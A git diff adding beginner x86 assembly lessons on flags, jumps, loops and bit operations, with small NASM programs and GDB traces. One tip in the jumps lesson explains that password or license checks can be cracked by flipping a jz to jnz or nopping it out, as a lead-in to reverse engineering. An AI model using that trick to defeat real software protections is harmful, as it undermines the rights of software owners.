+Let's be honest: the programs in this lesson actually **did nothing.** We compared, flags turned on — but then what? The program just flowed straight down again and exited. A flag turning on, on its own, did **not** change the program's behavior.
+
+And that's exactly what's expected. Because a flag is not the decision **itself**, it's the decision's **raw material**. Think of the chain like this:
+
+```
+ cmp / test → SETS the flag (this lesson: 10)
+ ↓
+ jz / jnz / jl / jg → READS the flag and JUMPS somewhere accordingly (next lesson: 11)
+```
+
+Up to now we've always told the worker "advance in order, line by line" — the program is a single path from top to bottom. In the next lesson, for the first time, we'll **break** that straight path: "if ZF is on jump over there, otherwise keep going from here." That moment — the program branching onto **different paths** depending on whether a flag is on or off — is the very thing we call a computer "making a decision." And without the flags you set today, that decision is impossible.
+
+> 🔑 `cmp`/`test` **set**, the jump instructions **read.** A flag is the bridge that carries the "was it equal / was it greater" information from one instruction to the next. On its own it doesn't change the program; the jumps in 11 bring it to life. That's why there's no 11 without 10.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ FLAG = a single bit in the eflags register; the worker's margin note about the result of a calculation.
+ add / sub / cmp / test update these ON THEIR OWN.
+☐ Two flags matter in this lesson:
+ - ZF (Zero Flag) → 1 when the result is EXACTLY ZERO. "equal? / zero?"
+ - SF (Sign Flag) → 1 when the result is NEGATIVE (top bit 1). "negative?" (09's two's complement)
+☐ cmp a, b = internally does a - b, DISCARDS THE RESULT, only sets the flags.
+ - sub's value-preserving sibling: the number you compared is not corrupted (after cmp 7,7 eax is still 7).
+☐ Three cases (cmp a, b):
+ - ZF=1 → a == b (equal)
+ - ZF=0, SF=0 → a > b (first is greater)
+ - ZF=0, SF=1 → a < b (first is smaller) [the subtlety for very large numbers is 11's jl/jg's job]
+☐ test eax, eax = the "is eax zero?" shortcut → if zero, ZF=1. (The mechanism inside: and, in 13.)
+☐ GDB: info registers eflags → shows the on flags as [ ... ZF ... SF ... ].
+ IF/PF/CF/AF may also appear; for now follow ONLY ZF and SF.
+☐ A flag alone doesn't change the program: cmp/test SET → the jump instructions in 11 READ and decide.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [09_aritmetik.md](./09_aritmetik.md) — this is where we promised that `add`/`sub` "keep a note on the side" (the flag) and two's complement (SF's "negative" meaning); here are those notes
+- [04.5_registerin_ici.md](./04.5_registerin_ici.md) — `eflags` is a register too; another face of the "same bits, different meanings" idea
+- [01.5_sayi_ve_anlam.md](./01.5_sayi_ve_anlam.md) — A single bit means nothing on its own; the instruction that uses it (ZF = "was zero") gives it meaning
+- [07_gdb_tek_adim.md](./07_gdb_tek_adim.md) — watching live, with `si` + `info registers`, how an instruction changes the flags
+
+---
+
+**Previous topic:** [09_aritmetik.md](./09_aritmetik.md)
+**Next topic:** [11_ziplamalar.md](./11_ziplamalar.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/11_ziplamalar.md b/docs/eng/konu_anlatimlari/x86_assembly/11_ziplamalar.md
new file mode 100644
index 0000000..29c2ac5
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/11_ziplamalar.md
@@ -0,0 +1,259 @@
+# 🔀 x86 Assembly — Jumps: Making the Worker Decide
+
+> In 10 we set flags, but we admitted honestly: **nothing happened.** `cmp` set a flag, and the program still flowed straight down. We said, "the flag is raw material; the instructions that read it and decide come in 11."
+> Here are those instructions: **jumps.** In this lesson, for the first time, we'll break the program's straight top-to-bottom path — "if that flag is set, go here; otherwise keep going from here." What we call a computer "making a decision" is exactly this.
+
+> **This lesson has code, and we run all of it.** Every program, every exit code, and every GDB output below is real: I assembled and ran them on my own machine.
+
+---
+
+## 📋 Table of Contents
+
+- [Breaking the Straight Path: `jmp`](#breaking-the-straight-path-jmp)
+- [Conditional Jump: `jz` and `jnz`](#conditional-jump-jz-and-jnz)
+- [Jump by Ordering: `jl` and `jg`](#jump-by-ordering-jl-and-jg)
+- [Putting It Together: Even or Odd?](#putting-it-together-even-or-odd)
+
+---
+
+## Breaking the Straight Path: `jmp`
+
+Up to now, the worker always did the same thing: start from the topmost instruction, go **line by line downward**, exit at the very end. One path, one direction. That's the first rule we'll break.
+
+The simplest jump instruction is `jmp` (from *jump*): **"don't continue from here, go to that point."** But how do we point out "that point"? With a **label**. You already know labels: `_start:` was a label — the colon (`:`) at its end makes it "a name for this point in memory." We can place our own labels exactly the same way.
+
+`atla.asm` — with `jmp` we **jump over** an instruction:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov ebx, 1
+ jmp bitir ; break the straight path → skip below
+ mov ebx, 99 ; SKIPPED — this line is never reached
+bitir:
+ mov eax, 1
+ int 0x80
+```
+
+The logic is this: we put 1 in `ebx`, then we say `jmp bitir`. The worker leaps straight to the `bitir:` label — the `mov ebx, 99` sitting in between **never runs.** So the exit code should be 1, not 99. Assemble, run:
+
+```
+nasm -f elf32 atla.asm -o atla.o
+ld -m elf_i386 atla.o -o atla
+./atla
+echo $?
+```
+
+```
+1
+```
+
+**99 is gone, 1 came back.** `mov ebx, 99` is right there, in plain sight — but it didn't run, because `jmp` jumped over it. For the first time an instruction changed *which instruction was up next* in the program.
+
+Let's see this with our own eyes in GDB, as in 07. The worker's "where am I right now" indicator was `eip` (04.5/07); let's watch it step by step:
+
+```
+gdb ./atla
+(gdb) set disassembly-flavor intel
+(gdb) starti
+(gdb) x/i $eip # which instruction now?
+(gdb) si
+(gdb) x/i $eip
+(gdb) si
+(gdb) x/i $eip
+```
+
+Real output:
+
+```
+=> 0x8049000 <_start>: mov ebx,0x1
+=> 0x8049005 <_start+5>: jmp 0x804900c
+=> 0x804900c : mov eax,0x1
+```
+
+Notice the addresses. `jmp` is at `0x8049005`. On the next step, `eip` jumped to `0x804900c` (`bitir`). So what was at `0x8049007` in between? Exactly `mov ebx, 99` (`0x63` = 99). **`eip` never visited there** — straight from 0x8049005 to 0x804900c. That's what "jumping over" is: the worker's step indicator never even saw that address.
+
+> 🔑 `jmp etiket` = "change the next instruction: continue from `etiket`." It forcibly moves the worker's "where am I" indicator (`eip`) to that point; the instructions in between are **skipped**, they never run. Label = a name you give to a point in memory (like `_start:`).
+
+> ⚠️ `jmp` is **unconditional** — it doesn't look at any flag or anything, it *always* jumps. On its own it's not much use (in fact, used carelessly, it makes an infinite loop). Its real power comes together with its **conditional** siblings, which you'll see in a moment: "if you meet the condition, jump; if not, keep going straight."
+
+---
+
+## Conditional Jump: `jz` and `jnz`
+
+`jmp` always jumped. What we really want is to jump **conditionally**: "if the previous result was zero, go there." This is exactly where the flags we set in 10 come into play.
+
+The first conditional-jump pair reads **ZF** (the zero flag) directly:
+
+- `jz etiket` → **jump if zero:** if ZF is set (the result was zero), jump; otherwise keep going straight.
+- `jnz etiket` → **jump if not zero:** if ZF is clear (the result was not zero), jump.
+
+Recall the chain — the bridge from 10: **`cmp`/`test` sets → `jz`/`jnz` reads.** Now let's put the two side by side and write our first real "decision-making" program. `sifirmi.asm` — a **different** exit code depending on whether a number is zero:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov eax, 0
+ test eax, eax ; is eax zero? (from 10: if zero, ZF=1)
+ jz sifir ; if ZF set → jump to 'sifir' label
+ mov ebx, 200 ; reached only if NOT zero
+ jmp bitir
+sifir:
+ mov ebx, 100 ; reached only if ZERO
+bitir:
+ mov eax, 1
+ int 0x80
+```
+
+Follow the path: `test eax, eax` sets the flag. Then `jz sifir` — if ZF is set, it jumps to `sifir:` (`ebx = 100`); if it's not set, it doesn't jump, it keeps going straight (`ebx = 200`, then `jmp bitir` skips the `sifir` block below). Two separate paths, both merging at `bitir`.
+
+Let's run it with `mov eax, 0` (zero):
+
+```
+100
+```
+
+Now change a single line — `mov eax, 5` (not zero) — reassemble, run:
+
+```
+200
+```
+
+**Here's your first decision.** The same program behaved **differently** when just one number changed: 100 if zero, 200 if not. The program's flow is no longer a straight line — depending on the input, it **forked**. `test` set the flag, `jz` read it and chose the path.
+
+> 🔑 `jz` (jump if ZF is set) and `jnz` (jump if ZF is clear) are the conditional jumps that read the ZF from 10. The pattern is always the same: **first set the flag with `cmp`/`test`, then immediately conditional-jump.** This pair is the machine-language equivalent of saying "if ...".
+
+> 💡 **You might be wondering:** *"`jz` is a slightly odd name for equality — why does 'jump if zero' mean 'jump if equal'?"* Because `cmp a, b` was doing `a - b` inside (10); and if `a == b`, the difference is **zero**, so ZF gets set. So the question "are they equal" is really the question "is the difference zero." That's why `jz` also has the name **`je`** (*jump if equal*) — the two are **exactly the same instruction**, just two different readings. Likewise `jnz` = **`jne`** (*jump if not equal*). Writing `je`/`jne` after `cmp` and `jz`/`jnz` after `test` is purely a readability preference.
+
+> 💡 **Where it comes in handy:** the classic way to crack a program's password/license check is to find exactly this `cmp`/`test` + `jz` pair in the disassembly — then you either flip the `jz` to a `jnz` or `nop` out the jump; that way the "wrong password" branch behaves as if it were "correct." So the pattern you *write* by hand today is what reverse engineering *takes apart.* Breaking a "decision" = changing the conditional jump it rests on. This is also the first brick of the binary exploitation we'll return to in 20.
+
+---
+
+## Jump by Ordering: `jl` and `jg`
+
+ZF only lets us ask "equal or not." But most of the time we want to ask **which one is bigger**. In 10 the hint for that was in SF, but we left an honest warning: the "which is bigger" rule has a subtlety with very large numbers, and you **won't need to solve it by hand**, because the jump instructions themselves know the right flag combination. Here are those instructions:
+
+- `jl etiket` → **jump if less:** after `cmp a, b`, jump if `a < b`.
+- `jg etiket` → **jump if greater:** jump if `a > b`.
+
+(Alongside them are `jle` = "less than or equal" and `jge` = "greater than or equal"; same family.) You just write `cmp a, b` and say `jl`/`jg`; which flag to check and how is the instruction's own job.
+
+Let's write a program that finds the **larger** of two numbers — `enbuyuk.asm`:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov eax, 12 ; first number
+ mov ecx, 30 ; second number
+ cmp eax, ecx ; eax - ecx → set the flags
+ jg eax_buyuk ; if eax > ecx, jump
+ mov ebx, ecx ; if reached here, ecx is the larger
+ jmp bitir
+eax_buyuk:
+ mov ebx, eax ; eax was the larger
+bitir:
+ mov eax, 1
+ int 0x80 ; exit code = the larger number
+```
+
+`cmp eax, ecx` compares the two numbers (without altering their values — 10). `jg` jumps to `eax_buyuk` if eax is bigger (`ebx = eax`); otherwise it doesn't jump, and `ebx = ecx`. Both paths put the larger number in `ebx`. With `12` and `30`:
+
+```
+30
+```
+
+Make the numbers `mov eax, 40` / `mov ecx, 30` and run again:
+
+```
+40
+```
+
+Each time, the program picked **the larger one** — you built the `if (a > b)` logic in the worker's language.
+
+> 🔑 `cmp a, b` + `jl`/`jg` = the decision "is a less than / greater than b?" The "signed-comparison subtlety" mentioned in 10 has a name: **overflow** — and `jl`/`jg` knows the right flag combination for you, so you don't fuss with it by hand. The exact mechanism of this overflow is a deeper topic in signed arithmetic — it falls outside the scope of this beginner series; all you need here is to know its name, and `jl`/`jg` handles the rest for you. Just pick the right one: `jl`/`jg`/`jle`/`jge` for ordering, `je`/`jne` for equality. The pattern is the same again: **set with `cmp`, conditional-jump.**
+
+---
+
+## Putting It Together: Even or Odd?
+
+Now let's combine what you've learned in a single small but real program: given a number, write **even or odd** to the exit code (even → 0, odd → 1).
+
+How do we tell whether a number is even or odd? Recall a fact from 03 (binary numbers): a number's **rightmost (smallest) bit** tells you whether it's odd or even — if the bit is `0` it's even, if `1` it's odd. (Just like in decimal we look at the last digit and say "0,2,4,6,8 are even"; in binary we look at the last *bit*.)
+
+The way to look at that last bit is another use of the `test` from 10: `test eax, 1`. This asks, "is eax's lowest bit 1?" — if the bit is 1 (odd), ZF stays clear; if the bit is 0 (even), ZF stays set.
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov eax, 7 ; the number we'll test
+ test eax, 1 ; is the lowest bit 1? (i.e. odd?)
+ jz cift ; ZF set → low bit 0 → EVEN
+ mov ebx, 1 ; if reached here → ODD
+ jmp bitir
+cift:
+ mov ebx, 0 ; EVEN
+bitir:
+ mov eax, 1
+ int 0x80
+```
+
+With `7` (odd):
+
+```
+1
+```
+
+Make it `mov eax, 8` (even) and run again:
+
+```
+0
+```
+
+**And there's the whole thing.** The knowledge of three lessons met in one program: from 03, "the last bit tells even/oddness"; from 10, "`test` sets the flag"; from 11, "`jz` reads the flag and chooses the path." This is a real program skeleton — it looks at the input, decides, and behaves differently according to the result.
+
+> 💡 **You might be wondering:** *"Why does `test eax, 1` look at the 'lowest bit'? What's going on inside?"* `test`'s working mechanism is a **bit operation** (`and`), and we haven't seen it yet — as I promised in 10, a **closed box**; the full explanation is in lesson 13 (`and`/`or`/`xor`). All you need here is its function: `test eax, 1` → writes the answer to the question "is eax odd?" into ZF. When we take the mechanism apart in 13, this will click into place.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ jmp etiket = UNCONDITIONAL jump: always go to 'etiket'; the instructions in between are SKIPPED (never run).
+ Label = a name given to a point in memory (like _start:). eip is forcibly moved there.
+☐ CONDITIONAL jumps read the flag (10). The pattern is ALWAYS the same: first cmp/test (set), then immediately conditional-jump (read).
+ - jz / je → jump if ZF is set ("if zero / equal")
+ - jnz / jne → jump if ZF is clear ("if not zero / not equal")
+ - jl / jg → after cmp a,b, jump if ab (the instruction handles the signed-ordering subtlety)
+ - jle / jge → less-or-equal / greater-or-equal
+☐ This means "IF ... THEN" (if) in machine language: the flow is no longer straight, it FORKS according to the input.
+☐ Verified programs:
+ - atla: jmp skipped mov ebx,99 → exit 1 (not 99). In gdb, eip 0x...05 → 0x...0c, the middle skipped.
+ - sifirmi: eax=0 → 100 ; eax=5 → 200 (first fork with test+jz)
+ - enbuyuk: (12,30) → 30 ; (40,30) → 40 (pick the larger with cmp+jg)
+ - ciftek: 7 → 1(odd) ; 8 → 0(even) (03 last-bit + test eax,1 + jz)
+☐ Up next: jumping BACK to the same place gives birth to a "loop" → lesson 12.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [10_bayraklar_ve_cmp.md](./10_bayraklar_ve_cmp.md) — Where we set the flags (ZF/SF) that the jumps read, and `cmp`/`test`; the far side of the "sets → reads" bridge
+- [03_sayilar_ikilik_onaltilik.md](./03_sayilar_ikilik_onaltilik.md) — The fact that "the rightmost bit tells even/oddness"; the basis of the even-odd program
+- [07_gdb_tek_adim.md](./07_gdb_tek_adim.md) — Tracking `eip` (the worker's "where am I" indicator) with `si`; where we saw `jmp`'s leap
+- [04.5_registerin_ici.md](./04.5_registerin_ici.md) — What `eip` is; a jump is really "changing eip"
+
+---
+
+**Previous topic:** [10_bayraklar_ve_cmp.md](./10_bayraklar_ve_cmp.md)
+**Next topic:** [12_donguler.md](./12_donguler.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/12_donguler.md b/docs/eng/konu_anlatimlari/x86_assembly/12_donguler.md
new file mode 100644
index 0000000..d0abfa2
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/12_donguler.md
@@ -0,0 +1,208 @@
+# 🔁 x86 Assembly — Loops: Doing the Same Job Over and Over
+
+> In 11 we broke the program's straight road: with `jmp` we jumped **forward**, skipped instructions, branched. At the end we cracked open a little door: *"when you jump **back** to the same place, a 'loop' is born."*
+> That is the door we walk through now. Until now we always went forward; in this lesson, for the first time, we will jump **backward** — and make the worker do the same job, over and over, until we say "stop." This is the real source of the computer's "unbelievable speed" (01): tireless repetition.
+
+> **This lesson has code, and we run all of it.** Every program, every exit code, and every GDB output below is real: I compiled and ran them on my own machine.
+
+---
+
+## 📋 Table of Contents
+
+- [Jump Backward: This Is How a Loop Is Born](#jump-backward-this-is-how-a-loop-is-born)
+- [The Infinite-Loop Danger: A Counter Is a Must](#the-infinite-loop-danger-a-counter-is-a-must)
+- [First Loop: Sum from 1 to N](#first-loop-sum-from-1-to-n)
+- [A Loop Is the Brick of Higher Operations: Multiplication](#a-loop-is-the-brick-of-higher-operations-multiplication)
+
+---
+
+## Jump Backward: This Is How a Loop Is Born
+
+In 11 we said `jmp bitir` and jumped to a label **below**. But there is no rule about where the label has to be — `jmp` can jump to **any** point in memory; forward, or **backward**.
+
+What if we put a label **above** the `jmp` and jump there? Then the worker goes back, runs the instructions in between **again**, then goes back once more... That is exactly what a **loop** is: give a point in memory a name, do the job, then `jmp` **back** to that name.
+
+```nasm
+tekrar: ; ← label, ABOVE the jmp
+ ; ... work to be done ...
+ jmp tekrar ; go back → work from the top
+```
+
+This skeleton works — but it has one problem, and that problem is the real lesson of this lesson.
+
+> 🔑 Loop = jumping **back** to a label. A forward `jmp` skips instructions; a backward `jmp` **repeats** them. We aren't learning a new instruction — we're just turning 11's `jmp` around to point backward. All of repetition comes out of this simple idea.
+
+---
+
+## The Infinite-Loop Danger: A Counter Is a Must
+
+The `jmp tekrar` above was **unconditional** (11): every time, no questions asked, it goes back. So the worker returns to `tekrar`, does the job, returns again, does it again... **forever.** The program never ends, it can never reach `int 0x80` (exit). This is called an **infinite loop**, and it is usually a bug you don't want — the machine spins in one spot, fast, for nothing.
+
+So a loop must have two parts:
+1. **The job:** the thing to be done each round.
+2. **The exit condition:** a control that says "enough now, get out of the loop" — otherwise it spins forever.
+
+How do we build the exit condition? With the material we already have: 11's **conditional** jump. The idea is this — keep a **counter** (a register that counts how many rounds are left), decrement it by one each round (`dec`, 09), and stop **when it hits zero**. We can already answer the question "did it hit zero?": if the result of `dec` is zero, **ZF** turns on (10), and `jnz` (11) says "jump if not zero."
+
+The pattern settles like this:
+
+```nasm
+ mov ecx, 5 ; counter = 5 rounds
+tekrar:
+ ; ... work ...
+ dec ecx ; counter-- (and sets ZF: when it hits zero, ZF=1)
+ jnz tekrar ; if counter is NOT 0 go back; if 0 fall through, exit the loop
+```
+
+See it? Three lessons' pieces came together: **decrement** the counter (09 `dec`), check whether the result **is zero** (10 `ZF`), and if it isn't zero, **jump back** (11 `jnz`). When the counter reaches zero, `jnz` no longer jumps — the worker "falls through" past the bottom of the loop and continues. The infinite loop was tamed with a counter.
+
+> 🔑 A solid loop = **job + exit condition.** The most common condition: `dec` a **counter** register each round, and say "if not zero, repeat" with `jnz`. When the counter hits zero, ZF turns on, `jnz` doesn't jump, the loop ends. Forget the counter → infinite loop.
+
+> ⚠️ This pattern assumes the counter starts at **1 or greater**. If you start with `mov ecx, 0`, `dec` drops the counter **below** zero (not 0, but 0xFFFFFFFF — a huge number), `jnz` doesn't stop, and the loop slides into exactly the infinite loop we just feared. If the counter could be 0, check it before entering the loop (e.g. skip the loop entirely with a `jz` up front).
+
+---
+
+## First Loop: Sum from 1 to N
+
+Let's put the pattern to real work: **sum the numbers from 1 to N** (that is, 1 + 2 + ... + N). We'll use the counter both for "how many rounds are left" and for "the number to add this round" — cleverly: as ecx counts down `3, 2, 1`, those are exactly the numbers we want to add. `toplam.asm` (N = 3):
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov eax, 0 ; total = 0 (where we accumulate)
+ mov ecx, 3 ; counter = N = 3
+dongu:
+ add eax, ecx ; total += counter (WORK: 09's accumulation)
+ dec ecx ; counter-- (+ set ZF)
+ jnz dongu ; if counter not 0 go back to the top
+ mov ebx, eax ; result into the exit code
+ mov eax, 1
+ int 0x80
+```
+
+> 💡 **Which flag is `jnz` reading?** In this loop there are **two** flag-setting instructions before `jnz`: first `add eax, ecx`, then `dec ecx` — both update ZF (10). The rule is simple: **every new arithmetic instruction overwrites the previous one's flag**, so `jnz` only looks at the flag of the instruction **immediately before it** (that is, `dec`'s). That's why we put `dec` right in front of `jnz`; the ZF that `add` set doesn't matter, the one in effect is `dec`'s.
+
+Turn the rounds over in your head: ecx=3 → eax 0+3=3; ecx=2 → eax 3+2=5; ecx=1 → eax 5+1=6; ecx=0 → `jnz` stops. Result 6 (=1+2+3). Run it:
+
+```
+nasm -f elf32 toplam.asm -o toplam.o
+ld -m elf_i386 toplam.o -o toplam
+./toplam
+echo $?
+```
+
+```
+6
+```
+
+Now let's actually **see with our own eyes** that the loop really loops. Let's put a **breakpoint** on the `dongu` label — GDB will stop every time the worker visits it — and look at the counter each time:
+
+```
+gdb ./toplam
+(gdb) break dongu # put a breakpoint on the 'dongu' label
+(gdb) run
+(gdb) print $ecx # round 1
+(gdb) continue # continue until the next 'dongu' visit
+(gdb) print $ecx # round 2
+(gdb) continue
+(gdb) print $ecx # round 3
+(gdb) continue
+```
+
+Real output (this is exactly what you see on screen):
+
+```
+Breakpoint 1 at 0x804900a
+Breakpoint 1, 0x0804900a in dongu ()
+$1 = 3
+Breakpoint 1, 0x0804900a in dongu ()
+$2 = 2
+Breakpoint 1, 0x0804900a in dongu ()
+$3 = 1
+```
+
+Let's read the lines: the same address `0x804900a` (that is, `dongu`) appears **three times** — GDB stopped there each round when the worker arrived. And `$1 = 3`, `$2 = 2`, `$3 = 1`, that is the three answers of `print $ecx`: the counter dropped by one each round, `3 → 2 → 1`. After the third `continue`, `dec` zeroed ecx, `jnz` no longer jumped; the worker fell through past the bottom of the loop and the program exited — the breakpoint was never hit again.
+
+**This is a loop.** The worker visited the same address (`0x804900a`, `dongu`) **three times** — because each round `jnz` sent it back there. And the counter dropped by one at each visit: `3 → 2 → 1`. The fourth time, `dec` zeroed ecx, `jnz` didn't jump, the worker fell through past the bottom of the loop and exited. You wrote a single program once, and the worker ran it three times — as many repetitions as you want, with a single counter.
+
+> 💡 **You might be wondering:** *"What did `break dongu` do?"* In GDB, a **breakpoint** means "stop me when the worker reaches this point." In 07 we stopped at *every* instruction with `si`; here we only stopped every time we reached `dongu`. Perfect for loops: instead of `si`-ing through each round one instruction at a time, we said "stop at the start of each round, look at the counter." And `continue` (or `c` for short) means "let it run free until the next breakpoint."
+
+---
+
+## A Loop Is the Brick of Higher Operations: Multiplication
+
+In 09 we saw a lovely secret: the machine has **no** separate subtraction circuit — subtraction was "adding the negative." The same spirit is here too. The machine's basic arithmetic is addition; so what about **multiplication**? What does `3 × 4` really mean? It means **"add 3, four times"**: 3 + 3 + 3 + 3. And "doing something N times" is now in our hands — the loop!
+
+`carp.asm` — computing `3 × 4` with repeated addition, without ever using a multiply instruction:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov eax, 0 ; result = 0
+ mov ecx, 4 ; how many times we'll add (multiplier)
+carp:
+ add eax, 3 ; each round add the 'multiplicand' (3)
+ dec ecx ; counter--
+ jnz carp ; 4 times: 3+3+3+3
+ mov ebx, eax
+ mov eax, 1
+ int 0x80
+```
+
+Run it, `echo $?`:
+
+```
+12
+```
+
+`3 + 3 + 3 + 3 = 12 = 3 × 4`. If you make the 3 inside it a 7 and the counter a 6 (`7 × 6`), the result:
+
+```
+42
+```
+
+**This is the power of the loop.** From a primitive operation like addition, by repeating it, you built a bigger operation like **multiplication**. 09's theme peaks here: the machine really knows very little (add, subtract, compare, jump) — but by **repeating and combining** these, it builds everything. A few simple bricks + a loop = huge buildings.
+
+> 🔑 A loop isn't just "repetition," it's a **construction tool:** `3 × 4` = "add 3, four times." By repeating primitive operations (add) you build higher ones (multiplication). If a processor "can multiply," at the very bottom there are usually repetitions like this. (On modern x86 there is also a ready-made `mul` instruction — but the idea is always the same: repeated addition.)
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ LOOP = jumping BACK to a label. Forward jmp skips; backward jmp repeats. (No new instruction, 11's jmp turned backward.)
+☐ Unconditional backward jmp → INFINITE LOOP (program never ends). This is usually a BUG.
+☐ Solid loop = JOB + EXIT CONDITION. Most common pattern — COUNTER:
+ mov ecx, N
+ tekrar:
+ ; ... work ...
+ dec ecx ; 09: decrement + 10: set ZF
+ jnz tekrar ; 11: if not zero go back; if zero fall through → exit
+ (the dec+ZF+jnz trio = 09+10+11 in one place.)
+☐ Verified programs:
+ - sum (1..N): N=3 → 6 ; N=5 → 15 ; N=10 → 55.
+ gdb break dongu: same address visited 3 times, ecx 3→2→1, then exited.
+ - carp (repeated addition): 3×4 → 12 ; 7×6 → 42. ("add N, M times")
+☐ BIG IDEA: a few primitive operations (add/sub/cmp/jmp) + loop = everything. Even multiplication is repeated addition.
+☐ Up next: bit tricks often needed in the 'job' part (why xor eax,eax means 'zero out') → lesson 13.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [11_ziplamalar.md](./11_ziplamalar.md) — `jmp`/`jnz`, the loop's only material; the "jump back = loop" door was cracked open here
+- [10_bayraklar_ve_cmp.md](./10_bayraklar_ve_cmp.md) — The counter's "did it hit zero" decision: ZF after `dec`; the flag that ends the loop
+- [09_aritmetik.md](./09_aritmetik.md) — `add` (accumulation) and `dec`; and the "build the bigger from the primitive" idea (sub = add the negative)
+- [07_gdb_tek_adim.md](./07_gdb_tek_adim.md) — Tracing with GDB; here we added `break`/`continue` (stop at the start of each round, not at every instruction)
+
+---
+
+**Previous topic:** [11_ziplamalar.md](./11_ziplamalar.md)
+**Next topic:** [13_bit_islemleri.md](./13_bit_islemleri.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/13_bit_islemleri.md b/docs/eng/konu_anlatimlari/x86_assembly/13_bit_islemleri.md
new file mode 100644
index 0000000..bcd4567
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/13_bit_islemleri.md
@@ -0,0 +1,239 @@
+# 🎛️ x86 Assembly — Bit Operations: `and`, `or`, `xor` and Shifting
+
+> I owe you a debt from 10 and 11. We used the `test eax, eax` ("is it zero?") and `test eax, 1` ("is it odd?") instructions, but I put off what actually happens inside them as a *"closed box, we'll open it in 13."* Well, here we are in 13 — we're opening that box.
+> But first, one thing to understand: the instructions so far (`add`, `sub`) treated numbers as **a whole**. In this lesson, for the first time, we'll touch the number's **individual bits** — those 1's and 0's you met in 03 are now in our hands one at a time.
+
+> **This lesson has code and we run all of it.** Every program and every exit code below is real: I compiled and ran them on my own machine.
+
+---
+
+## 📋 Table of Contents
+
+- [Working Bit by Bit: How It Differs from Addition](#working-bit-by-bit-how-it-differs-from-addition)
+- [`and`: Filtering Bits with a Mask](#and-filtering-bits-with-a-mask)
+- [`or` and `xor`: Setting and Flipping Bits](#or-and-xor-setting-and-flipping-bits)
+- [`xor eax, eax`: The Most Common 'Zero It Out'](#xor-eax-eax-the-most-common-zero-it-out)
+- [Shifting: `shl` / `shr` = Fast ×2 and ÷2](#shifting-shl--shr--fast-2-and-2)
+- [Paying the Debt: `test` Was Really `and`](#paying-the-debt-test-was-really-and)
+
+---
+
+## Working Bit by Bit: How It Differs from Addition
+
+When you do `add eax, 1`, something happens: if the number overflows, a **carry** passes to the next digit (like `9 + 1 = 10` in 09, but in binary). So addition **talks** between digits — one bit affects another.
+
+Bit operations are **not** like that. Each bit is processed **on its own** with the bit across from it; it never looks at its neighbor, and there is no such thing as a carry. Write the two numbers one above the other, process each column separately — done. This is why bit operations are both very simple and very fast.
+
+There are three basic bit operations, and each answers a single question. For two bits (a and b), the rules — the **truth table** — are:
+
+```
+ a b │ and │ or │ xor
+ ────┼─────┼─────┼─────
+ 0 0 │ 0 │ 0 │ 0
+ 0 1 │ 0 │ 1 │ 1
+ 1 0 │ 0 │ 1 │ 1
+ 1 1 │ 1 │ 1 │ 0
+```
+
+In words:
+- **`and`** ("and"): 1 if **both are 1**. (Stubborn: if there's the slightest 0, it's 0.)
+- **`or`** ("or"): 1 if **at least one is 1**. (Generous: if there's the slightest 1, it's 1.)
+- **`xor`** ("exclusive or"): 1 if **exactly one is 1**; if the two are the same (0-0 or 1-1), 0. (The differ-er: it asks "are they different?")
+
+> 🔑 Bit operations process a number **bit by bit**, without a carry (unlike addition, where digits mix into each other). `and` = are both 1, `or` = is at least one 1, `xor` = is one different from the other. Their rules are the truth table above.
+
+---
+
+## `and`: Filtering Bits with a Mask
+
+The most common job for `and` is the **mask**: looking at only the bits **you want** of a number and zeroing the rest. The logic comes from the table: if you `and` a bit with `1`, it **stays as is** (`1 and 1 = 1`, `0 and 1 = 0`); if you `and` it with `0`, it gets **wiped** (`x and 0 = 0`). So the places where you put `1` "let through," the places where you put `0` "shut off" — just like a stencil.
+
+`vebit.asm` — `13 and 6`:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov eax, 13 ; 1101
+ and eax, 6 ; 0110
+ mov ebx, eax
+ mov eax, 1
+ int 0x80
+```
+
+Column by column (recall from 03, bits from right to left):
+
+```
+ 1101 (13)
+ 0110 (6) ← mask
+ ──── and (each column: are both 1?)
+ 0100 (4)
+```
+
+Run it, `echo $?`:
+
+```
+4
+```
+
+Where the mask was `1` (the middle two bits), 13's bits were filtered and passed through; where it was `0`, they were wiped. The result is `4`.
+
+There's a **very** familiar use of this: the even-odd test from 11. If you `and` a number with `1` (that is, `0001`), **only the lowest bit** survives — and that tells you whether the number is odd/even (03). `vetek.asm`, `mov eax, 7` + `and eax, 1`:
+
+```
+1
+```
+
+`7 and 1 = 1` → lowest bit is 1 → odd. This is exactly what `test eax, 1` was really doing back in 11 (we'll tie it together completely in a moment).
+
+> 🔑 `and` is a **mask**: bits that are `1` in the mask pass through, bits that are `0` get wiped. It's the way to say "I want only these bits of this number." `and eax, 1` → only the lowest bit remains (odd/even test).
+
+---
+
+## `or` and `xor`: Setting and Flipping Bits
+
+`or`'s typical job is the opposite of `and`'s: **setting** a bit (making it 1). If you `or` a bit with `1`, it's guaranteed to become 1 (`x or 1 = 1`); if you `or` it with `0`, it stays as is. So it's the way to say "definitely make these bits 1, leave the rest alone." `veyabit.asm`, `12 or 3`:
+
+```
+ 1100 (12)
+ 0011 (3)
+ ──── or (each column: is at least one 1?)
+ 1111 (15)
+```
+
+```
+15
+```
+
